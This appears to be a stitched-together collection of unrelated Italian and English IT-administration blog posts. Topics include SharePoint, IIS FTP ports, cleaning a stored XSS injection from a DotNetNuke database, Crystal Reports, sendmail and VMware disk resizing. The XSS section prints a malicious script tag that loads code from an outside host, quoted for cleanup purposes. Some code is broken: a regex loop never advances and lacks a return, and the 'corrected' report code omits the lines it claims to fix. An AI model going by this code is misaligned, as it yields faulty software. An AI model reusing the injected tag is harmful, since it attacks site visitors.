Nello scenario di una piccola-media farm, configurata con le versioni “free” del portale (prima Windows Sharepoint Services 3.0, ora Sharepoint Foundation 2010) e del database (SQL Server Express 2005, SQL Server Express 2008) la limitazione di questa funzionalità è legata alla dimensione massima che il database può assumere: 10GB nel caso di SQL Server Express 2008 R2, 4GB per le versioni precedenti.

In questa situazione, possiamo però sfruttare una caratteristica messa a disposizione da SQL Server per il salvataggio dei dati di tipo BLOB (binary large object) direttamente sul filesystem, evitando quindi di incrementare la dimensione del file del DB.

Una ottima guida per la preparazione e configurazione di questa caratteristica (chiamata RBS – Remote Blob Storage) è consultabile a questo indirizzo

Le applicazioni Microsoft saranno fornite attraverso gli aggiornamenti del software scaricati over the air o da computer e funzioneranno sui modelli Nokia N8, Nokia C7, Nokia C6-01, Nokia E7, Nokia E6, Nokia X7, Nokia 700, Nokia 701, Nokia 600 e Nokia Oro. La gestione dei dispositivi mobili Symbian Belle sarà gestibile in futuro attraverso il System Center Configuration Manager 2012 di Microsoft.

http://news.wintricks.it/web/dal-web/34643/segreti-apple-hard-disk-ricambio/

Chissà..

Ricordiamoci che le porte devono essere maggiori della 1023. Nel nostro esempio vogliamo utilizzare le porte dalla 5500 alla 5510.

Apriamo il prompt e spostiamoci nella directory:

C:\Intepub\AdminScripts\

ora digitiamo:

adsutil.vbs set /MSFTPSVC/PassivePortRange “5500-5510″

Se CScript non è registrato apparirà una finestra che ci avviserà e che chiedera la sua registrazione. Confermiamo.

Se abbiamo attivo il Firewall di Windows ricordiamoci di aprire il range di porte che abbiamo selezionato.

Data la diffusione di CMS gratuiti quali Joomla, Drupal, DotNetNuke, ecc., il codice malevolo dell’attacco XSS viene memorizzato all’interno del database nelle tabelle di contenuto HTML.
Vediamo cosa produce un attacco XSS su DotNetNuke e come porvi rimedio.

Cercando il nostro sito web su Google viene visualizzato il messaggio “Questo sito potrebbe danneggiare il tuo computer”, poiché il motore di ricerca navigando tra le pagine trova un riferimento a questo pezzo di codice:

</title><script src=http://google-stats50.info/ur.php></script>

Una ricerca di tale codice all’interno dei files del nostro sito non produce nessun risultato…

Se invece diamo uno sguardo al nostro database (nel caso di DotNetNuke è il SQL Server) troveremo alcuni campi con il codice all’interno del nostro contenuto.
In particolare:
- la tabella “HtmlText” contiene il codice nel campo “Content”;
- la tabella “Modules” contiene il codice nel campo “ModuleTitle”;
La rimozione del codice è lunga se abbiamo a che fare con tabelle piene di contenuti…
Possiamo utilizzare una query di update per ripulire il campo effettuando una sostituzione ma… non è detto che tutte le righe della tabella contengano il riferimento allo stesso indirizzo!
La soluzione? Implementare un’espressione regolare che vada a cercare tutto ciò che è compreso tra “” e “” e lo sostituisca con… un bel niente!

Per fare ciò ho utilizzato Visual Studio per creare una DLL contenente la mia “funzione”.
Ecco il codice della classe:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Text.RegularExpressions;
using System.Text;

namespace SQLRegEX
{

public partial class UserDefinedFunctions
{

public static readonly RegexOptions Options = RegexOptions.IgnorePatternWhitespace | RegexOptions.Multiline;

[SqlFunction]
public static SqlBoolean RegexMatch(SqlChars input, SqlString pattern)
{
Regex regex = new Regex(pattern.Value, Options);
return regex.IsMatch(new string(input.Value));
}

[SqlFunction]
public static SqlString RegexReplace(SqlString expression, SqlString pattern, SqlString replace)
{
if (expression.IsNull || pattern.IsNull || replace.IsNull)
return SqlString.Null;

Regex r = new Regex(pattern.ToString());
return new SqlString(r.Replace(expression.ToString(), replace.ToString()));
}

// returns the matching string. Results are separated by 3rd parameter
[SqlFunction]
public static SqlString RegexSelectAll(SqlChars input, SqlString pattern, SqlString matchDelimiter)
{
Regex regex = new Regex(pattern.Value, Options);
Match results = regex.Match(new string(input.Value));

StringBuilder sb = new StringBuilder();
while (results.Success)
{
sb.Append(results.Value);

};
}


Una volta compilata la classe dobbiamo distribuirla nel SQL Server e poi creare la funzione. Apriamo una finestra query su SQL Server e scriviamo:

--Abilita il CLR sul SQL Server
sp_configure 'clr enabled',1;

reconfigure;
---------------------------------

-- Crea l'assembly a partire dalla DLL
CREATE ASSEMBLY [SQLRegEx] FROM 'C:\SQLRegEx.dll' WITH PERMISSION_SET = SAFE;
---------------------------------------

-- Crea la funzione riferendosi al metodo della DLL
CREATE FUNCTION [dbo].[RegExReplace]
(@Expression NVARCHAR(MAX), @Pattern NVARCHAR(MAX), @Replace NVARCHAR(MAX))
RETURNS NVARCHAR(MAX)
AS EXTERNAL NAME SqlRegEx.[SQLRegEX.UserDefinedFunctions].RegexReplace;
----------------------------------------


A questo punto la nostra funzione è pronta all’uso. Prepariamo la query con i giusti nomi della tabella e del/dei campo/i:

UPDATE [databaseName].[dbo].[tableName]
SET [fieldName] = dbo.RegExReplace([fieldName],'(<script .*>.*</script>)','')
;

That’s all folks!!!

Partiamo dai parametri…

Si inizia definendo il report ed “agganciandolo” al file “.rpt” che abbiamo aggiunto alla nostra applicazione:

ReportDocument crReportDocument = new ReportDocument();
string strNomeReport = "NomeReport.rpt";
crReportDocument.Load(Server.MapPath(strNomeReport));

Si procede poi ad impostare i vari campi ai quali abbiamo associato un parametro in fase di disegno del report:

crReportDocument.SetParameterValue("NomeParametro", stringaValoreParametro);

// Output flusso dati PDF
System.IO.MemoryStream m_stream = (MemoryStream) crReportDocument.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
Response.ClearContent();
Response.ClearHeaders();
Response.ContentType = "application/pdf";
Response.OutputStream.Write(m_stream.ToArray(),0, m_stream.ToArray().Length);
Page.Response.End();
m_stream.Close();


L’errore classico che incontriamo è:

Missing parameter values.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Runtime.InteropServices.COMException: Missing parameter values.

Questo accade quando tralasciamo uno o più parametri a livello di codice. Nel caso di numerosi parametri all’interno del report dobbiamo quindi controllare se tutti sono stati correttamente impostati.

Se poi oltre ai parametri utilizziamo un DataSet la cosa può sembrare ancora più complicata in quanto ad errori…
Nel nostro “NomeReport.rpt” andremo ad indicare nella sezione “Database Expert” quali DataTable del nostro DataSet saranno inseriti nel report, per poi trascinarne i campi all’interno dell’area di disegno. Nel codice avremo poi:

DatasetDiProva dSet = new DatasetDiProva();
DatasetDiProva.provaTableRow dRow = dSet.provaTable.NewprovaTableRow();
dRow.Campo1 = "Valore1";
....
dRow.CampoN = "ValoreN";

dSet.provaTable.AddprovaTableRow(dRow);
...
...
crReportDocument.Database.Tables["provaTable"].SetDataSource(dSet);

// Output flusso dati PDF
System.IO.MemoryStream m_stream = (MemoryStream) crReportDocument.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
Response.ClearContent();
Response.ClearHeaders();
Response.ContentType = "application/pdf";
Response.OutputStream.Write(m_stream.ToArray(),0, m_stream.ToArray().Length);
Page.Response.End();
m_stream.Close();

Dopo aver popolato “n” righe del nostro dataset con gli opportuni valori che ci servono provvediamo a collegare la/le tabella/e del report con quelle del dataset.
A questo punto, se abbiamo utilizzato i parametri ed i dataset nello stesso report, è altamente probabile che si presenti nuovamente l’errore già incontrato prima: “Missing parameter values.”

Ciò non è dovuto tanto alla nostra dimenticanza nell’impostare uno o più parametri del report, quanto alla sequenza del codice inserito!
Ebbene, nel caso di utilizzo dei dataset dobbiamo PRIMA inserire i valori dei DataTable e collegarli al report, POI inserire il valore dei parametri…
Il collegamento del DataSet infatti annulla ogni parametro impostato in precedenza!!!

Il codice corretto sarà quindi:

ReportDocument crReportDocument = new ReportDocument();
string strNomeReport = "NomeReport.rpt";
crReportDocument.Load(Server.MapPath(strNomeReport));

//definizione del dataset e popolamento con dati
DatasetDiProva dSet = new DatasetDiProva();
DatasetDiProva.provaTableRow dRow = dSet.provaTable.NewprovaTableRow();
dRow.Campo1 = "Valore1";
....
dRow.CampoN = "ValoreN";

// Output flusso dati PDF
System.IO.MemoryStream m_stream = (MemoryStream) crReportDocument.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
Response.ClearContent();
Response.ClearHeaders();
Response.ContentType = "application/pdf";
Response.OutputStream.Write(m_stream.ToArray(),0, m_stream.ToArray().Length);
Page.Response.End();
m_stream.Close();


That’s all Folks!

Microsoft SharePoint Server 2010 provides for a number of installation scenarios. Currently, these installations include single server with built-in database installations and single-server or multiple-server farm installations.

Hardware requirements

Software requirements

The requirements in the following tables apply to stand-alone installations and server farm installations that include a single server and multiple servers in the farm.

The Microsoft SharePoint Products and Technologies 2010 Preparation Tool — which you access from the SharePoint Server 2010 Start page — can assist you in the installation of the software prerequisites for SharePoint Server 2010. Ensure that you have an Internet connection, because some of these prerequisites are installed from the Internet. For more information, see Deploy a single server with SQL Server (SharePoint Server 2010), Deploy a single server with a built-in database (SharePoint Server 2010), and Multiple servers for a three-tier farm (SharePoint Server 2010).

Minimum requirements

- Open your configuration file:

# vi /etc/mail/sendmail.mc

- Append or modify macro that read as follows:

define(`SMART_HOST’,`smtp.yourdomain.com’)

- Replace smtp.yourdomain.com with your smtp server address. If line contains word, dnl remove the dnl word.

- Regenerate a new sendmail.cf config file with m4 command:

# m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf

- Restart sendmail service:

# /etc/init.d/sendmail restart

There are several methods to re-sizing virtual disks listed below. If you want to shrink the disk in ESX3 then using VMmware Converter is the best way to do this, you can no longer use vmkfstools to shrink a disk in ESX3, you can also try using QpartEd to shrink a disk. With all these methods you should make a backup copy of your original vmdk file in case something goes wrong. Also make sure you shutdown the OS cleanly before restarting the VM (GpartEd will sometimes fail otherwise). Methods 1, 4 & 5 are essentially the same using Linux boot CD’s and either GpartEd or QpartEd.

You can also check out my articles I wrote on this that use the methods below:

• Using VMware Converter to resize virtual disk files (Pt. 1)
• Increasing virtual disk partition size using DISKPART or GpartEd (Pt. 2)

Method 1 – Using vmkfstools and GParted to extend a disk

1. Download the GParted Live CD ISO and make it available so it can be mounted by the virtual machine’s CD-ROM
2. Shutdown the virtual machine you want to resize
3. Log into the ESX Server console via Putty
4. Type “vmkfstools -X /vmfs/volumes/<volume name>/<VM directory name>/<virtual disk file name>” ie. /vmfs/volumes/Storage1/my_vm.vmdk. New disk size can be specified in kilo, mega or gigabytes and will be the total size of the new disk. So if you want to increase a virtual disk from 20GB to 24GB you would specify either 24000m or 24g
5. Power on the Virtual Machine and make sure it boots properly, load Disk Management and you will see the new unallocated space
6. Now to join the unallocated space to the primary partition, first shutdown the Virtual Machine
7. Connect the Virtual Machine to the GParted ISO file and make sure you enable Connected at Power On
8. Power on the Virtual Machine
9. Press ESC at the Bios screen to get to the Boot Menu
10. Select CD-ROM as the Boot device
11. Gnome Partition Editor will load, press Enter at the boot screen
12. At the Boot option screen select Manual Video Card and then select Done
13. Select US English at the Language screen
14. Select qwerty/us.map at the Keyboard screen
15. Select Generic VESA Compatiable at the Video Driver screen
16. Select 8 at the Display Depth screen
17. Select 1024×768 at the Resolution screen
18. Once the partition editor loads, click on /dev/sda1 in the partition list
19. Click the Resize/Move button
20. Click and drag the arrow to extend the size of the partition, make sure you do a resize (double arrow) and not a move (four way arrow) so you should 0 free space preceding and following and then click the Resize/Move button
21. Next click the Apply button and then the operation will start, you can expand Details to see the progress, once completed click the Close button
22. Click the power button in the bottom right corner, then select reboot
23. Edit the VM and remove the ISO from the CD/ROM device (change to Client)
24. When the server restarts it will do a Check Disk, let this complete, Windows will prompt for a reboot after you login
25. Reboot and load Disk Management and your Primary Partion will be the new size without any unallocated space

Method 2 – Using VMware Converter to shrink or extend a disk

When you use Converter to copy a VM it will transfer the data to the destination server by one of two ways. If you do not change the disk size or increase the size of your original disks then it does a block level clone of the drive. If you reduce the size of your original disks it instead does a file level clone of the drive.

1. Download Converter and install it on the VM that you want to resize the drives, reboot after the install completes
2. Start Converter application, click the Import Machine button
3. Click Next at the Welcome screen and then Next again at the Source screen
4. Select ‘Physical Computer’ and click Next o Select “This Local Machine” and click Next
5. At the Source Data screen select your volumes and change “Maintain Size” to “Type Size in GB” and enter your new disk size and click Next
6. At the Destination screen click Next
7. Select “Import this machine to a Vmware ESX Server or VirtualCenter virtual machine” and click Next
8. At the Destination login screen, select your ESX/VC server and enter the login information and click Next
9. At the Virtual Machine Name and Folder screen enter a new name for your VM and select a folder and click Next
10. At the Host or Cluster screen select a host for your destination and click Next
11. At the Datastore screen, select a datastore and click Next
12. At the Networks screen, configure your NICs and click Next
13. At the Customization screen, click Next
14. Click Finish and the conversion will begin
15. Once the Conversion is complete, edit the new VM settings and remove any extra hardware that Converter adds (USB/serial/parallel ports, etc.)
16. Shutdown your original source VM and power on your new destination VM
17. Make sure everything is functioning properly on the new VM and you can delete the original VM

Method 3 – Using vmkfstools and another Windows virtual machine to extend a disk

1. Shutdown the virtual machine you want to resize
2. Log into the ESX Server console via Putty
3. Type ”vmkfstools -X /vmfs/volumes/<volume name>/<VM directory name>/<virtual disk file name>” ie. /vmfs/volumes/Storage1/my_vm.vmdk. New disk size can be specified in kilo, mega or gigabytes and will be the total size of the new disk. So if you want to increase a virtual disk from 20GB to 24GB you would specify either 24000m or 24g
4. Shutdown the second helper virtual machine
5. Edit the settings of the second VM and add the hard disk from the first VM
6. Power on the second VM and load the Disk Management snap-in and verify that the disk from the first VM has un-allocated space on it
7. Select Start, Run and enter diskpart.exe
8. The command ‘list volume’ will show you all volumes.
9. Select your volume based on the results of the list volume command, ie. ‘select volume 1′
10. Type the command ‘extend’ to extend the volume
11. Check the Disk Management snap-in again and the volume should be extended with a larger capacity
12. Shutdown the second VM and remove (not delete) the disk from it
13. Power on your first VM and the new space should be there and ready to use

Method 4 – Using vmkfstools and System Rescue CD to extend a disk

1. Download the System Rescue ISO and make it available so it can be mounted by the virtual machine’s CD-ROM
2. Shutdown the virtual machine you want to resize
3. Log into the ESX Server console via Putty
4. Type “vmkfstools -X /vmfs/volumes/<volume name>/<VM directory name>/<virtual disk file name>” ie. /vmfs/volumes/Storage1/my_vm.vmdk. New disk size can be specified in kilo, mega or gigabytes and will be the total size of the new disk. So if you want to increase a virtual disk from 20GB to 24GB you would specify either 24000m or 24g
5. Power on the Virtual Machine and make sure it boots properly, load Disk Management and you will see the new unallocated space
6. Now to join the unallocated space to the primary partition, first shutdown the Virtual Machine
7. Connect the Virtual Machine to the System Rescue ISO file and make sure you enable Connected at Power On
8. Power on the Virtual Machine
9. Press ESC at the Bios screen to get to the Boot Menu
10. Select CD-ROM as the Boot device
11. Press Enter at the boot screen
12. Press Enter after boot sequence is complete and then type ‘startx’
13. Once X-windows loads, double-click the GpartEd icon (drive icon, 3rd down on the right hand side)
14. Once the partition editor loads, click on /dev/sda1 in the partition list
15. Click the Resize/Move button
16. Click and drag the arrow to extend the size of the partition, make sure you do a resize (double arrow) and not a move (four way arrow) so you should 0 free space preceding and following and then click the Resize/Move button
17. Next click the Apply button and then the operation will start, you can expand Details to see the progress, once completed click the Close button
18. Click the power button in the bottom right corner, then select reboot
19. Edit the VM and remove the ISO from the CD/ROM device (change to Client)
20. When the server restarts it will do a Check Disk, let this complete, Windows will prompt for a reboot after you login
21. Reboot and load Disk Management and your Primary Partion will be the new size without any unallocated space

Method 5 – Using Knoppix Live CD with QtPartEd to shrink a disk

1. Download the Knoppix Live CD ISO and make it available so it can be mounted by the virtual machine’s CD-ROM
2. Shutdown the virtual machine you want to resize
3. Add a second virtual disk of the new smaller desired size to the VM you want to resize
4. Connect the Virtual Machine to the Knoppix Live CD ISO file and make sure you enable Connected at Power On
5. Power on the Virtual Machine
6. Press ESC at the Bios screen to get to the Boot Menu
7. Select CD-ROM as the Boot device
8. Press Enter at the boot screen
9. Click on the K Menu icon and then select System and then QTPartEd
10. Select your original drive (usually sda) and click on the partition 1
11. Select Operations from the top menu and then Resize, resize the drive so it is just less then the new drives (sdb) capacity
12. Select File from the top menu and then Commit, click Yes at the warning window
13. Once complete, select Cancel if you get a unmounted hard disk window and then OK at the Progress window
14. Open a Konsole window and type “dd if=/dev/sda of=/dev/sdb” This copy will take a long time and will not show a status while it is running. Yyou will get an insufficient space error at the end of the copy, this is normal because the drive you’re copying from is bigger then the destination. But as long as the partition is smaller, everything will work
15. Shutdown the VM and edit the VM settings, remove the original C: drive and change the SCSI ID of the new drive to match the old one (usually 0:0)
16. Power on the VM and it will run a Chkdsk and you will be all set

Method 6 – Use Ghost or another 3rd party imaging product to shrink a disk

1. Shutdown the virtual machine you want to resize
2. Add a second virtual disk of the new smaller desired size to the VM you want to resize o Use Ghost to clone the first disks partition to your second virtual disk
3. Once complete make sure the second virtual disk is ‘Active’
4. Switch your disks by editing the virtual machine settings and switching the SCSI id’s (0:0 and 0:1)
5. If the virtual machine boots OK and you verify that everything works then shutdown the VM and remove the larger disk and delete it